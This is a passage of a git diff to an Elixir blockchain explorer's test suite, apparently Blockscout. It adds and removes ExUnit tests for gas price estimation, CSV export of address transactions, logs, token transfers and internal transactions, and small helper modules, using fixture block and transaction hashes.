"0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391") + + block2 = + insert(:block, + number: 101, + hash: "0x76c3da57334fffdc66c0d954dce1a910fcff13ec889a13b2d8b0b6e9440ce729", + gas_limit: Decimal.new(10_000_000), + gas_used: Decimal.new(5_000_000), + base_fee_per_gas: Wei.from(Decimal.new(500_000_000), :wei) + ) + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269", + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03", + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 1, + gas_price: 3_000_000_000, + max_priority_fee_per_gas: 3_000_000_000, + max_fee_per_gas: 3_000_000_000, + hash: "0x906b80861b4a0921acfbb91a7b527227b0d32adabc88bc73e8c52ff714e55016", + type: 2 + ) + + assert {{:ok, + %{ + # including base fee + slow: %{price: 1.25}, + average: %{price: 2.25} + }}, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + end + + test "return gas prices with time if available" do + block1 = + insert(:block, + number: 100, + hash: "0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391", + timestamp: ~U[2023-12-12 12:12:30.000000Z] + ) + + block2 = + insert(:block, + number: 101, + hash: "0x76c3da57334fffdc66c0d954dce1a910fcff13ec889a13b2d8b0b6e9440ce729", + timestamp: ~U[2023-12-12 12:13:00.000000Z], + gas_limit: Decimal.new(10_000_000), + gas_used: Decimal.new(5_000_000), + base_fee_per_gas: Wei.from(Decimal.new(500_000_000), :wei) + ) + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + block_timestamp: block1.timestamp, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269", + earliest_processing_start: ~U[2023-12-12 12:12:00.000000Z], + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + block_timestamp: block2.timestamp, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03", + earliest_processing_start: ~U[2023-12-12 12:12:00.000000Z], + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + block_timestamp: block2.timestamp, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 1, + gas_price: 3_000_000_000, + max_priority_fee_per_gas: 3_000_000_000, + max_fee_per_gas: 3_000_000_000, + hash: "0x906b80861b4a0921acfbb91a7b527227b0d32adabc88bc73e8c52ff714e55016", + earliest_processing_start: ~U[2023-12-12 12:12:55.000000Z], + type: 2 + ) + + assert {{ + :ok, + %{ + average: %{price: 2.25, time: 15000.0}, + fast: %{price: 2.25, time: 15000.0}, + slow: %{price: 1.25, time: 17500.0} + } + }, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + end + + test "return gas prices with average block time if earliest_processing_start is not available" do + average_block_time_old_env = Application.get_env(:explorer, AverageBlockTime) + gas_price_oracle_old_env = Application.get_env(:explorer, GasPriceOracle) + + Application.put_env(:explorer, GasPriceOracle, + safelow_time_coefficient: 2.5, + average_time_coefficient: 1.5, + fast_time_coefficient: 1 + ) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + start_supervised!(AverageBlockTime) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, average_block_time_old_env) + Application.put_env(:explorer, GasPriceOracle, gas_price_oracle_old_env) + end) + + block_number = 99_999_999 + first_timestamp = ~U[2023-12-12 12:12:30.000000Z] + + Enum.each(1..100, fn i -> + insert(:block, + number: block_number + 1 + i, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 12) + ) + end) + + block1 = + insert(:block, + number: block_number + 102, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -10) + ) + + block2 = + insert(:block, + number: block_number + 103, + consensus: true, + timestamp: Timex.shift(first_timestamp, seconds: -7), + gas_limit: Decimal.new(10_000_000), + gas_used: Decimal.new(5_000_000), + base_fee_per_gas: Wei.from(Decimal.new(500_000_000), :wei) + ) + + AverageBlockTime.refresh() + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269", + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + hash: "0x5d5c2776f96704e7845f7d3c1fbba6685ab6efd6f82b6cd11d549f3b3a46bd03", + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 1, + gas_price: 3_000_000_000, + max_priority_fee_per_gas: 3_000_000_000, + max_fee_per_gas: 3_000_000_000, + hash: "0x906b80861b4a0921acfbb91a7b527227b0d32adabc88bc73e8c52ff714e55016", + type: 2 + ) + + AverageBlockTime.refresh() + + assert {{ + :ok, + %{ + average: %{price: 2.25, time: 1500.0}, + fast: %{price: 2.25, time: 1000.0}, + slow: %{price: 1.25, time: 2500.0} + } + }, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + end + + test "does not take into account old transaction even if there is no new ones" do + gas_price_oracle_old_env = Application.get_env(:explorer, GasPriceOracle) + + Application.put_env(:explorer, GasPriceOracle, num_of_blocks: 3) + + on_exit(fn -> + Application.put_env(:explorer, GasPriceOracle, gas_price_oracle_old_env) + end) + + block1 = insert(:block, number: 1) + block2 = insert(:block, number: 2) + block3 = insert(:block, number: 3) + block4 = insert(:block, number: 4) + block5 = insert(:block, number: 5) + + :transaction + |> insert( + status: :ok, + block_hash: block1.hash, + block_number: block1.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + type: 2 + ) + + :transaction + |> insert( + status: :ok, + block_hash: block2.hash, + block_number: block2.number, + cumulative_gas_used: 884_322, + gas_used: 106_025, + index: 0, + gas_price: 1_000_000_000, + max_priority_fee_per_gas: 1_000_000_000, + max_fee_per_gas: 1_000_000_000, + type: 2 + ) + + :transaction + |> build( + status: :ok, + block_hash: block3.hash, + block_number: block3.number, + gas_price: 0, + cumulative_gas_used: 884_322 + ) + + :transaction + |> build( + status: :ok, + block_hash: block4.hash, + block_number: block4.number, + gas_price: 0, + cumulative_gas_used: 884_322 + ) + + :transaction + |> build( + status: :ok, + block_hash: block5.hash, + block_number: block5.number, + gas_price: 0, + cumulative_gas_used: 884_322 + ) + + assert {{:ok, %{average: nil, fast: nil, slow: nil}}, _} = GasPriceOracle.get_average_gas_price(3, 35, 60, 90) + end + + test "does take into account EIP_1559_BASE_FEE_LOWER_BOUND_WEI env" do + old_config = Application.get_env(:explorer, :base_fee_lower_bound) + + Application.put_env(:explorer, :base_fee_lower_bound, 1_000_000_000) + + on_exit(fn -> + Application.put_env(:explorer, :base_fee_lower_bound, old_config) + end) + + insert(:block, + number: 1, + base_fee_per_gas: Wei.from(Decimal.new(1), :gwei), + gas_used: Decimal.new(0), + gas_limit: Decimal.new(1000) + ) + + assert {{:ok, %{average: %{price: 1.0}, fast: %{base_fee: 1.0}, slow: %{base_fee: 1.0}}}, _} = + GasPriceOracle.get_average_gas_price(1, 35, 60, 90) + end + + if Application.compile_env(:explorer, :chain_type) == :celo do + test "ignores transactions with unsupported types" do + block = + insert(:block, + number: 200, + hash: "0xfeedface00000000000000000000000000000000000000000000000000000000", + base_fee_per_gas: nil + ) + + :transaction + |> insert( + status: :ok, + block_hash: block.hash, + block_number: block.number, + index: 0, + # 1 Gwei + gas_price: 1_000_000_000, + type: 123, + hash: "0xcafe010000000000000000000000000000000000000000000000000000000000", + cumulative_gas_used: 884_322, + gas_used: 106_025 + ) + + assert {{:ok, + %{ + slow: nil, + average: nil, + fast: nil + }}, []} = GasPriceOracle.get_average_gas_price(1, 35, 60, 90) + end end end end diff --git a/apps/explorer/test/explorer/chain/cache/transaction_test.exs b/apps/explorer/test/explorer/chain/cache/transaction_test.exs deleted file mode 100644 index 9d692d4e06c4..000000000000 --- a/apps/explorer/test/explorer/chain/cache/transaction_test.exs +++ /dev/null @@ -1,54 +0,0 @@ -defmodule Explorer.Chain.Cache.TransactionTest do - use Explorer.DataCase - - alias Explorer.Chain.Cache.Transaction - - setup do - Supervisor.terminate_child(Explorer.Supervisor, Transaction.child_id()) - Supervisor.restart_child(Explorer.Supervisor, Transaction.child_id()) - :ok - end - - test "returns default transaction count" do - result = Transaction.get_count() - - assert is_nil(result) - end - - test "updates cache if initial value is zero" do - insert(:transaction) - insert(:transaction) - - _result = Transaction.get_count() - - Process.sleep(1000) - - updated_value = Transaction.get_count() - - assert updated_value == 2 - end - - test "does not update cache if cache period did not pass" do - insert(:transaction) - insert(:transaction) - - _result = Transaction.get_count() - - Process.sleep(1000) - - updated_value = Transaction.get_count() - - assert updated_value == 2 - - insert(:transaction) - insert(:transaction) - - _updated_value = Transaction.get_count() - - Process.sleep(1000) - - updated_value = Transaction.get_count() - - assert updated_value == 2 - end -end diff --git a/apps/explorer/test/explorer/chain/celo/helper_test.exs b/apps/explorer/test/explorer/chain/celo/helper_test.exs new file mode 100644 index 000000000000..f4062cd6ad26 --- /dev/null +++ b/apps/explorer/test/explorer/chain/celo/helper_test.exs @@ -0,0 +1,4 @@ +defmodule Explorer.Chain.Celo.HelperTest do + use ExUnit.Case, async: true + doctest Explorer.Chain.Celo.Helper, import: true +end diff --git a/apps/explorer/test/explorer/chain/csv_export/address/internal_transactions_test.exs b/apps/explorer/test/explorer/chain/csv_export/address/internal_transactions_test.exs new file mode 100644 index 000000000000..93cb100fcb15 --- /dev/null +++ b/apps/explorer/test/explorer/chain/csv_export/address/internal_transactions_test.exs @@ -0,0 +1,324 @@ +defmodule Explorer.Chain.CsvExport.Address.InternalTransactionsTest do + use Explorer.DataCase + + alias Explorer.Chain.CsvExport.Address.InternalTransactions, as: AddressInternalTransactionsCsvExporter + alias Explorer.Chain.{Address, Wei} + + describe "export/3" do + test "exports address internal transactions to csv" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + internal_transaction = + insert(:internal_transaction, + index: 1, + transaction: transaction, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + res = + address.hash + |> AddressInternalTransactionsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + [result] = + res + |> Enum.map(fn [ + [[], transaction_hash], + _, + [[], index], + _, + [[], block_number], + _, + [[], block_hash], + _, + [[], block_index], + _, + [[], transaction_index], + _, + [[], timestamp], + _, + [[], from_address_hash], + _, + [[], to_address_hash], + _, + [[], created_contract_address_hash], + _, + [[], type], + _, + [[], call_type], + _, + [[], gas], + _, + [[], gas_used], + _, + [[], value], + _, + [[], input], + _, + [[], output], + _, + [[], error], + _, + [[], fee], + _ + ] -> + %{ + transaction_hash: transaction_hash, + index: index, + block_number: block_number, + block_index: block_index, + block_hash: block_hash, + transaction_index: transaction_index, + timestamp: timestamp, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + created_contract_address_hash: created_contract_address_hash, + type: type, + call_type: call_type, + gas: gas, + gas_used: gas_used, + value: value, + input: input, + output: output, + error: error, + fee: fee + } + end) + + assert result.transaction_hash == to_string(internal_transaction.transaction_hash) + assert result.index == to_string(internal_transaction.index) + assert result.block_number == to_string(internal_transaction.block_number) + assert result.block_index == to_string(internal_transaction.block_index) + assert result.block_hash == to_string(internal_transaction.block_hash) + assert result.transaction_index == to_string(internal_transaction.transaction_index) + assert result.timestamp + assert result.from_address_hash == Address.checksum(internal_transaction.from_address_hash) + assert result.to_address_hash == Address.checksum(internal_transaction.to_address_hash) + assert result.created_contract_address_hash == to_string(internal_transaction.created_contract_address_hash) + assert result.type == to_string(internal_transaction.type) + assert result.call_type == to_string(internal_transaction.call_type) + assert result.gas == to_string(internal_transaction.gas) + assert result.gas_used == to_string(internal_transaction.gas_used) + assert result.value == internal_transaction.value |> Wei.to(:wei) |> to_string() + assert result.input == to_string(internal_transaction.input) + assert result.output == to_string(internal_transaction.output) + assert result.error == to_string(internal_transaction.error) + + assert result.fee == + to_string( + internal_transaction.transaction.gas_price + |> Wei.mult(internal_transaction.gas_used) + |> Wei.to(:wei) + ) + end + + test "fetches all internal transactions" do + address = insert(:address) + + 1..200 + |> Enum.map(fn index -> + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + index: index, + transaction: transaction, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end) + |> Enum.count() + + 1..200 + |> Enum.map(fn index -> + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + index: index, + transaction: transaction, + to_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end) + |> Enum.count() + + 1..200 + |> Enum.map(fn index -> + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + index: index, + transaction: transaction, + created_contract_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end) + |> Enum.count() + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + result = + address.hash + |> AddressInternalTransactionsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + assert Enum.count(result) == 600 + end + + test "don't fall on is_nil(gas_used)" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + internal_transaction = + insert(:internal_transaction, + index: 1, + transaction: transaction, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 1, + transaction_index: transaction.index, + error: "reverted", + gas_used: nil, + output: nil + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + res = + address.hash + |> AddressInternalTransactionsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + [result] = + res + |> Enum.map(fn [ + [[], transaction_hash], + _, + [[], index], + _, + [[], block_number], + _, + [[], block_hash], + _, + [[], block_index], + _, + [[], transaction_index], + _, + [[], timestamp], + _, + [[], from_address_hash], + _, + [[], to_address_hash], + _, + [[], created_contract_address_hash], + _, + [[], type], + _, + [[], call_type], + _, + [[], gas], + _, + [[], gas_used], + _, + [[], value], + _, + [[], input], + _, + [[], output], + _, + [[], error], + _, + [[], fee], + _ + ] -> + %{ + transaction_hash: transaction_hash, + index: index, + block_number: block_number, + block_index: block_index, + block_hash: block_hash, + transaction_index: transaction_index, + timestamp: timestamp, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + created_contract_address_hash: created_contract_address_hash, + type: type, + call_type: call_type, + gas: gas, + gas_used: gas_used, + value: value, + input: input, + output: output, + error: error, + fee: fee + } + end) + + assert result.transaction_hash == to_string(internal_transaction.transaction_hash) + assert result.index == to_string(internal_transaction.index) + assert result.block_number == to_string(internal_transaction.block_number) + assert result.block_index == to_string(internal_transaction.block_index) + assert result.block_hash == to_string(internal_transaction.block_hash) + assert result.transaction_index == to_string(internal_transaction.transaction_index) + assert result.timestamp + assert result.from_address_hash == Address.checksum(internal_transaction.from_address_hash) + assert result.to_address_hash == Address.checksum(internal_transaction.to_address_hash) + assert result.created_contract_address_hash == to_string(internal_transaction.created_contract_address_hash) + assert result.type == to_string(internal_transaction.type) + assert result.call_type == to_string(internal_transaction.call_type) + assert result.gas == to_string(internal_transaction.gas) + assert result.gas_used == "" + assert result.value == internal_transaction.value |> Wei.to(:wei) |> to_string() + assert result.input == to_string(internal_transaction.input) + assert result.output == to_string(internal_transaction.output) + assert result.error == to_string(internal_transaction.error) + + assert result.fee == "" + end + end +end diff --git a/apps/explorer/test/explorer/chain/csv_export/address/logs_test.exs b/apps/explorer/test/explorer/chain/csv_export/address/logs_test.exs new file mode 100644 index 000000000000..0c148cf3e77d --- /dev/null +++ b/apps/explorer/test/explorer/chain/csv_export/address/logs_test.exs @@ -0,0 +1,132 @@ +defmodule Explorer.Chain.Address.LogsTest do + use Explorer.DataCase + + alias Explorer.Chain.Address + alias Explorer.Chain.CsvExport.Address.Logs, as: AddressLogsCsvExporter + + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @second_topic_hex_string_1 "0x00000000000000000000000098a9dc37d3650b5b30d6c12789b3881ee0b70c16" + @third_topic_hex_string_1 "0x0000000000000000000000005079fc00f00f30000e0c8c083801cfde000008b6" + @fourth_topic_hex_string_1 "0x8c9b7729443a4444242342b2ca385a239a5c1d76a88473e1cd2ab0c70dd1b9c7" + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + + describe "export/3" do + test "exports address logs to csv" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + log = + insert(:log, + address: address, + index: 1, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + data: "0x12", + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + fourth_topic: topic(@fourth_topic_hex_string_1) + ) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + [result] = + address.hash + |> AddressLogsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + |> Enum.map(fn [ + [[], transaction_hash], + _, + [[], index], + _, + [[], block_number], + _, + [[], block_hash], + _, + [[], address], + _, + [[], data], + _, + [[], first_topic], + _, + [[], second_topic], + _, + [[], third_topic], + _, + [[], fourth_topic], + _ + ] -> + %{ + transaction_hash: transaction_hash, + index: index, + block_number: block_number, + block_hash: block_hash, + address: address, + data: data, + first_topic: first_topic, + second_topic: second_topic, + third_topic: third_topic, + fourth_topic: fourth_topic + } + end) + + assert result.transaction_hash == to_string(log.transaction_hash) + assert result.index == to_string(log.index) + assert result.block_number == to_string(log.block_number) + assert result.block_hash == to_string(log.block_hash) + assert result.address == Address.checksum(log.address.hash) + assert result.data == to_string(log.data) + assert result.first_topic == to_string(log.first_topic) + assert result.second_topic == to_string(log.second_topic) + assert result.third_topic == to_string(log.third_topic) + assert result.fourth_topic == to_string(log.fourth_topic) + end + + test "fetches all logs" do + address = insert(:address) + + 1..200 + |> Enum.map(fn index -> + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + address: address, + index: index, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + end) + |> Enum.count() + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + result = + address.hash + |> AddressLogsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + assert Enum.count(result) == 200 + end + end +end diff --git a/apps/explorer/test/explorer/chain/csv_export/address/token_transfers_test.exs b/apps/explorer/test/explorer/chain/csv_export/address/token_transfers_test.exs new file mode 100644 index 000000000000..3e23825981c8 --- /dev/null +++ b/apps/explorer/test/explorer/chain/csv_export/address/token_transfers_test.exs @@ -0,0 +1,135 @@ +defmodule Explorer.Chain.Address.TokenTransfersTest do + use Explorer.DataCase + + alias Explorer.Chain.Address + alias Explorer.Chain.CsvExport.Address.TokenTransfers, as: AddressTokenTransfersCsvExporter + + describe "export/3" do + test "exports token transfers to csv" do + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + token_transfer = + insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) + |> Repo.preload([:token, :transaction]) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + [result] = + address.hash + |> AddressTokenTransfersCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + |> Enum.map(fn [ + [[], transaction_hash], + _, + [[], block_number], + _, + [[], timestamp], + _, + [[], from_address], + _, + [[], to_address], + _, + [[], token_contract_address], + _, + [[], type], + _, + [[], token_decimals], + _, + [[], token_symbol], + _, + [[], tokens_transferred], + _, + [[], transaction_fee], + _, + [[], status], + _, + [[], err_code], + _ + ] -> + %{ + transaction_hash: transaction_hash, + block_number: block_number, + timestamp: timestamp, + from_address: from_address, + to_address: to_address, + token_contract_address: token_contract_address, + type: type, + token_decimals: token_decimals, + token_symbol: token_symbol, + tokens_transferred: tokens_transferred, + transaction_fee: transaction_fee, + status: status, + err_code: err_code + } + end) + + assert result.block_number == to_string(transaction.block_number) + assert result.transaction_hash == to_string(transaction.hash) + assert result.from_address == Address.checksum(token_transfer.from_address_hash) + assert result.to_address == Address.checksum(token_transfer.to_address_hash) + assert result.timestamp == to_string(transaction.block_timestamp) + assert result.token_symbol == to_string(token_transfer.token.symbol) + assert result.token_decimals == to_string(token_transfer.token.decimals) + assert result.tokens_transferred == to_string(token_transfer.amount) + assert result.status == to_string(token_transfer.transaction.status) + assert result.err_code == to_string(token_transfer.transaction.error) + assert result.type == "OUT" + end + + test "fetches all token transfers" do + address = insert(:address) + + 1..200 + |> Enum.map(fn _ -> + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + insert(:token_transfer, + transaction: transaction, + from_address: address, + block_number: transaction.block_number + ) + end) + |> Enum.count() + + 1..200 + |> Enum.map(fn _ -> + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + insert(:token_transfer, + transaction: transaction, + to_address: address, + block_number: transaction.block_number + ) + end) + |> Enum.count() + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + result = + address.hash + |> AddressTokenTransfersCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + assert Enum.count(result) == 400 + end + end +end diff --git a/apps/explorer/test/explorer/chain/csv_export/address/transactions_test.exs b/apps/explorer/test/explorer/chain/csv_export/address/transactions_test.exs new file mode 100644 index 000000000000..f1cdd8c968ba --- /dev/null +++ b/apps/explorer/test/explorer/chain/csv_export/address/transactions_test.exs @@ -0,0 +1,161 @@ +defmodule Explorer.Chain.Address.TransactionsTest do + use Explorer.DataCase + + alias Explorer.Chain.CsvExport.Address.Transactions, as: AddressTransactionsCsvExporter + alias Explorer.Chain.Wei + + describe "export/3" do + test "exports address transactions to csv" do + address = insert(:address) + + insert(:contract_method, + identifier: Base.decode16!("731133e9", case: :lower), + abi: %{ + "constant" => false, + "inputs" => [ + %{"name" => "account", "type" => "address"}, + %{"name" => "id", "type" => "uint256"}, + %{"name" => "amount", "type" => "uint256"}, + %{"name" => "data", "type" => "bytes"} + ], + "name" => "mint", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + ) + + to_address = insert(:contract_address) + + transaction = + :transaction + |> insert( + from_address: address, + to_address: to_address, + input: + "0x731133e9000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001700000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000" + ) + |> with_block() + |> Repo.preload(:token_transfers) + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + [result] = + address.hash + |> AddressTransactionsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + |> Enum.map(fn [ + [[], hash], + _, + [[], block_number], + _, + [[], timestamp], + _, + [[], from_address], + _, + [[], to_address], + _, + [[], created_address], + _, + [[], type], + _, + [[], value], + _, + [[], fee], + _, + [[], status], + _, + [[], error], + _, + [[], cur_price], + _, + [[], op_price], + _, + [[], cl_price], + _, + [[], method_name], + _ + ] -> + %{ + hash: hash, + block_number: block_number, + timestamp: timestamp, + from_address: from_address, + to_address: to_address, + created_address: created_address, + type: type, + value: value, + fee: fee, + status: status, + error: error, + current_price: cur_price, + opening_price: op_price, + closing_price: cl_price, + method_name: method_name + } + end) + + assert result.block_number == to_string(transaction.block_number) + assert result.timestamp + assert result.created_address == to_string(transaction.created_contract_address_hash) + assert result.from_address == to_string(transaction.from_address) + assert result.to_address == to_string(transaction.to_address) + assert result.hash == to_string(transaction.hash) + assert result.type == "OUT" + assert result.value == transaction.value |> Wei.to(:wei) |> to_string() + assert result.fee + assert result.status == to_string(transaction.status) + assert result.error == to_string(transaction.error) + assert result.current_price + assert result.opening_price + assert result.closing_price + assert result.method_name == "mint" + end + + test "fetches all transactions" do + address = insert(:address) + + 1..200 + |> Enum.map(fn _ -> + :transaction + |> insert(from_address: address) + |> with_block() + end) + |> Enum.count() + + 1..200 + |> Enum.map(fn _ -> + :transaction + |> insert(to_address: address) + |> with_block() + end) + |> Enum.count() + + 1..200 + |> Enum.map(fn _ -> + :transaction + |> insert(created_contract_address: address) + |> with_block() + end) + |> Enum.count() + + {:ok, now} = DateTime.now("Etc/UTC") + + from_period = DateTime.add(now, -1, :minute) |> DateTime.to_iso8601() + to_period = now |> DateTime.to_iso8601() + + result = + address.hash + |> AddressTransactionsCsvExporter.export(from_period, to_period, []) + |> Enum.to_list() + |> Enum.drop(1) + + assert Enum.count(result) == 600 + end + end +end diff --git a/apps/explorer/test/explorer/chain/currency_helper_text.exs b/apps/explorer/test/explorer/chain/currency_helper_text.exs new file mode 100644 index 000000000000..8ce8282911d2 --- /dev/null +++ b/apps/explorer/test/explorer/chain/currency_helper_text.exs @@ -0,0 +1,25 @@ +defmodule Explorer.Chain.CurrencyHelperTest do + use ExUnit.Case + + alias Explorer.Chain.CurrencyHelper + + describe "divide_decimals/2" do + test "divide by the given decimal amount" do + result = CurrencyHelper.divide_decimals(Decimal.new(1000), Decimal.new(3)) + expected_result = Decimal.new(1) + assert Decimal.compare(result, expected_result) == :eq + end + + test "work when number of decimals is bigger than the number's digits" do + result = CurrencyHelper.divide_decimals(Decimal.new(1000), Decimal.new(5)) + expected_result = Decimal.from_float(0.01) + assert Decimal.compare(result, expected_result) == :eq + end + + test "return the same number when number of decimals is 0" do + result = CurrencyHelper.divide_decimals(Decimal.new(1000), Decimal.new(0)) + expected_result = Decimal.new(1000) + assert Decimal.compare(result, expected_result) == :eq + end + end +end diff --git a/apps/explorer/test/explorer/chain/decompiled_smart_contract_test.exs b/apps/explorer/test/explorer/chain/decompiled_smart_contract_test.exs deleted file mode 100644 index f305161763f5..000000000000 --- a/apps/explorer/test/explorer/chain/decompiled_smart_contract_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -defmodule Explorer.Chain.DecompiledSmartContractTest do - use Explorer.DataCase - - alias Explorer.Chain.DecompiledSmartContract - - describe "changeset/2" do - test "with valid attributes" do - params = params_for(:decompiled_smart_contract) - changeset = DecompiledSmartContract.changeset(%DecompiledSmartContract{}, params) - - assert changeset.valid? - end - - test "with invalid attributes" do - changeset = DecompiledSmartContract.changeset(%DecompiledSmartContract{}, %{elixir: "erlang"}) - - refute changeset.valid? - end - end -end diff --git a/apps/explorer/test/explorer/chain/events/publisher_test.exs b/apps/explorer/test/explorer/chain/events/publisher_test.exs index 4a51627cc766..3a4822e66d35 100644 --- a/apps/explorer/test/explorer/chain/events/publisher_test.exs +++ b/apps/explorer/test/explorer/chain/events/publisher_test.exs @@ -52,7 +52,7 @@ defmodule Explorer.Chain.Events.PublisherTest do end describe "broadcast/1" do - test "sends event whithout type of broadcast" do + test "sends event without type of broadcast" do event_type = :exchange_rate Subscriber.to(event_type) diff --git a/apps/explorer/test/explorer/chain/filecoin/native_address_test.exs b/apps/explorer/test/explorer/chain/filecoin/native_address_test.exs new file mode 100644 index 000000000000..22325d39a5ba --- /dev/null +++ 